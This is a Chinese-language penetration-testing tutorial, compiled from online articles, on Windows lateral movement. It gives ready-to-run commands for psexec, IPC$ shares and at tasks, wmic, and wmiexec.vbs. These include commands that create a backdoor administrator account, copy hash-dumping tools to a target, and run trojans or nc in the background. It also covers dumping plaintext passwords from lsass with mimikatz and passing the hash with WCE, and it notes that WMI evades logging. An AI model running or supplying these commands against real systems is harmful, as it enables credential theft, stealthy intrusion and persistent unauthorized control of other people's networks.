(該文參考整理自網上文章,相關連接附於文末)html
psexec是pstools工具包中的一個工具,可在微軟官網直接下載。是輕型的 telnet 替代工具,它使您無需手動安裝客戶端軟件便可執行其餘系統上的進程,而且能夠得到與控制檯應用程序至關的徹底交互性。PsExec 最強大的功能之一是在遠程系統和遠程支持工具(如 IpConfig)中啓動交互式命令提示窗口,以便顯示沒法經過其餘方式顯示的有關遠程系統的信息。node
psexec針對遠程創建鏈接的認證方式有兩種,一種先創建ipc鏈接,而後直接用psexec \\192.168.1.2 cmd命令開啓一個半交互式的cmdshell,另外一種是在psexec的參數中指定帳號密碼。算法
一、經過ipc$鏈接,釋放psexesvc.exe到目標。
二、經過服務管理SCManager遠程建立psexecsvc服務,並啓動服務。
三、客戶端鏈接執行命令,服務端啓動相應的程序並執行回顯數據。shell
(運行完後刪除服務。這個在windows的日誌中有詳細的記錄,另外psexec在少數狀況下會出現服務沒刪除成功的bug,因此通常來說不太推薦在滲透時使用psexec,可用wmic,wmiexec等)windows
獲取管理員用戶權限的交互式 shellsass
psexec \\192.168.17.138 -u Administrator -p pass cmd安全
獲取普通用戶權限的交互式 shell,要想獲取管理員權限 shell ,須要添加-h 參數。服務器
psexec \\192.168.17.138 -u test -p pass cmd網絡
在遠程系統上以 system 權限執行單條命令,有時回顯只有一行,緣由尚不清楚。session
psexec \\192.168.17.138 -u Administrator -p pass -s cmd /c "quser"
在遠程系統上執行 bat 腳本
psexec \\192.168.17.138 -u Administrator -p pass c:\programdata\test.bat
拷貝文件到遠程機器並以交互方式運行,運行結束後會刪除
psexec \\192.168.17.138 -c C:\Users\test\Desktop\GetHashes.exe
–accepteula 第一次運行會彈框,輸入這個參數便不會彈框
s 以 「nt authority\system」 權限運行遠程進程
h 若是能夠,以管理員權限運行遠程進程
d 不等待程序執行完就返回,請只對非交互式應用程序使用此選項
\\ip 能夠替換成 @ip.txt (存放多個 ip 的文本),能夠批量執行命令
須要遠程系統開啓 ADMIN$ 共享
創建 ipc 鏈接後能夠不指定用戶名和密碼
不能僅拷貝文件不執行,只須要拷貝時能夠創建 ipc 鏈接後c opy
在啓動psExec創建鏈接以後,遠程系統上會被安裝一個服務:PSEXESVC。安裝服務會留下日誌,並且psexec退出時有可能服務刪除失敗,因此不推薦使用psexec
創建一個ipc鏈接
net use \\192.168.17.138\C$ "pass" /u:"workgroup\Administrator"
拷貝文件到遠程系統上
copy s.exe \\192.168.17.138\c$\RECYCLER\
查看遠程主機當前時間
net time \\192.168.17.138
添加計劃任務在遠程系統上執行命令
at \\192.168.17.138 15:18 cmd.exe /c "ipconfig /all >c:\programdata\error.log"
添加計劃任務在遠程系統上執行bat腳本
at \\192.168.17.138 15:18 c:\programdata\test.bat
查看at任務列表
at \\192.168.17.138
刪除at計劃任務,運行完成後必定要刪除計劃任務!
at \\192.168.17.138 1 /delete
查看全部ipc鏈接
net use
刪除指定ipc鏈接
net use \\192.168.17.138\C$ /del
刪除全部ipc鏈接(刪除前記得確認是否都是本身測試中創建的鏈接)
net use * /del /y
WMI 的全稱是 Windows Management Instrumentation,它出如今全部的 Windows操做系統中,並由一組強大的工具集合組成,用於管理本地或遠程的 Windows 系統,攻擊者使用 wmi 來進行攻擊,但 Windows 系統默認不會在日誌中記錄這些操做,能夠作到無日誌,攻擊腳本無需寫入到磁盤,增長了隱蔽性。推薦使用 wmic 進行遠程執行命令。
在遠程系統上執行 bat 腳本
wmic /node:192.168.17.138 /user:test /password:pass process call create c:\programdata\test.bat
在遠程系統上執行單條命令
wmic /node:192.168.17.138 /user:test /password:pass process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add
一、須要遠程系統啓動 Windows Management Instrumentation 服務,開放135端口
二、遠程系統的本地安全策略的「網絡訪問: 本地賬戶的共享和安全模式」應設爲「經典-本地用戶以本身的身份驗證」
三、wmic 會以管理員權限在遠程系統上執行命令
四、防火牆開啓將沒法鏈接
五、若是報錯 「Invalid Global Switch」 ,用雙引號把包含-的結點括起來便可正常執行。
WMI 能夠遠程執行命令,大牛使用VBS腳本調用WMI來模擬 psexec 的功能,因而乎WMIEXEC 就誕生了。基本上psexec 能用的地方,這個腳本也可以使用。整個過程是先調用WMI經過帳號密碼或者NTLM認證(WCE注入)鏈接到遠程計算機,而後若是提供了帳號密碼,則用這個帳號密碼創建一個到目標的IPC鏈接。隨後WMI會創建一個共享文件夾,用於遠程讀取命令執行結果。 當用戶輸入命令時,WMI建立進程執行該命令,而後把結果輸出到文件,這個文件位於以前建立的共享文件夾中。最後,經過FSO組件訪問遠程共享文件夾中的結果文件,將結果輸出。當結果讀取完成時,調用WMI執行命令刪除結果文件。最後當WMIEXEC退出時,刪除文件共享。
獲取半交互式shell
cscript.exe //nologo wmiexec.vbs /shell 192.168.17.138 username password
在遠程系統上執行單條命令
cscript.exe wmiexec.vbs /cmd 192.168.17.138 username password "cmdkey /list"
在遠程系統上執行 bat 腳本
cscript.exe wmiexec.vbs /cmd 192.168.17.138 username password c:\programdata\test.bat
上面是提供帳號密碼的狀況,若是有時候咱們抓取到的是hash,破解不了時能夠利用WCE的hash注入,而後再執行WMIEXEC(不提供帳號密碼)就能夠了。
Tips:若是抓取的LM hash是AAD3開頭的,或者是No Password之類的,就用32個0代替LM hash便可。
-wait5000 表示這個命令等待5s後再讀取結果,用於運行「運行時間長」的命令
(因爲WMI只負責建立進程,沒有辦法能夠判斷命令是否執行完畢,因此腳本採用的方法是延遲1200ms後讀取結果文件,可是若是命令執行的時間大於1200ms,好比systeminfo 或者ping之類的,這時候讀取結果文件會致使讀取的結果不完整,而後在刪除結果文件時會出錯。好比ping結果不能讀取完整,並且命令執行完後目標服務器上的wmi.dll結果文件並無被刪除!爲了防止出現這種狀況,因而在shell模式裏面加入了-waitTIME選項,TIME是要等待的時間。當執行的命令後面跟上-wait5000時,表示這個命令等待5s後再讀取結果。)
-persist 程序會在後臺運行,不會有結果輸出
(因爲正常的命令都要查看結果,因此執行的命令後面都會加上重定向符,把結果輸出到文件中。 因此用這個執行木馬會有問題,由於木馬進程會一直存在,致使結果文件被佔用,不能刪除,也不能改寫,若是執行不帶任何參數的nc.exe也是這種效果 出現這種狀況後因爲結果文件被佔用,因此WMIEXEC不能工做,除非手動更改腳本中的結果文件名。或者能夠用taskkill 遠程結束掉卡死的進程,而後WMIEXEC能夠恢復工做。 爲了解決這個問題,加入了-persist選項。 當命令加了persist選項後,程序會在後臺運行,不會有結果輸出,並且會返回這個命令進程的PID,方便結束進程。 這樣就能夠運行nc或者木馬程序了)
下面這段代碼在腳本的一開始,是控制結果文件路徑、文件名、以及默認代碼執行時
間的,能夠自行更改。
Const Path = "C:\"
Const FileName = "wmi.dll"
Const timeOut = 1200
須要遠程系統啓動 Windows Management Instrumentation 服務,開放135端口
遠程系統的本地安全策略的「網絡訪問: 本地賬戶的共享和安全模式」應設爲「經典-本地用戶以本身的身份驗證」
wmicexec.vbs 會以管理員權限在遠程系統上執行命令
virustotal 顯示 wmiexec.vbs 會被 Kaspersky、Symantec 和 ZoneAlarm查殺
mimikatz是一款功能強大的輕量級調試神器,經過它你能夠提高進程權限注入進程讀取進程內存,固然他最大的亮點是他能夠直接從 lsass中獲取當前處於Active系統的登陸密碼, lsass是微軟Windows系統的安全機制它主要用於本地安全和登錄策略,一般咱們在登錄系統時輸入密碼以後,密碼便會儲存在 lsass內存中,通過其 wdigest 和 tspkg 兩個模塊調用後,對其使用可逆的算法進行加密並存儲在內存之中, 而mimikatz正是經過對lsass的逆算獲取到明文密碼!也就是說只要你不重啓電腦,就能夠經過他獲取到登錄密碼,只限當前登錄系統!
第一步:根據你係統選擇對應的版本,雙擊打開
第二步:輸入輸入privilege::debug 提高權限
第三步:輸入inject::process lsass.exe sekurlsa.dll 將sekurlsa.dll 注入到lsass.exe 中
第四步:輸入sekurlsa::logonPasswords full 便可獲取hash和當前用戶的明文密碼
若是內網主機的本地管理員帳戶密碼相同,那麼能夠經過pass the hash遠程登陸到任意一臺主機,操做簡單、威力無窮。
在域環境中,利用pass the hash的滲透方式每每是這樣的:
在內網滲透時,很常常會碰到好不容易提取出了hash,可是沒法破解。
wce號稱內網滲透神器,其中有一個功能就是hash注入。
測試環境:
目標 windows2008 【192.168.200.128】hash以下:
測試機:
windows7【192.168.200.5】
在沒法破解192.168.200.128的administrator密碼時,咱們能夠採用hash注入
先dir目標的c$(前提是目標有開啓C盤共享)
會提示帳號密碼錯誤。
使用wce
格式: wce.exe -s 帳號:主機名或域的名字:LM:NTLM
提示注入完成。
再dir目標機器的C盤試試
參考: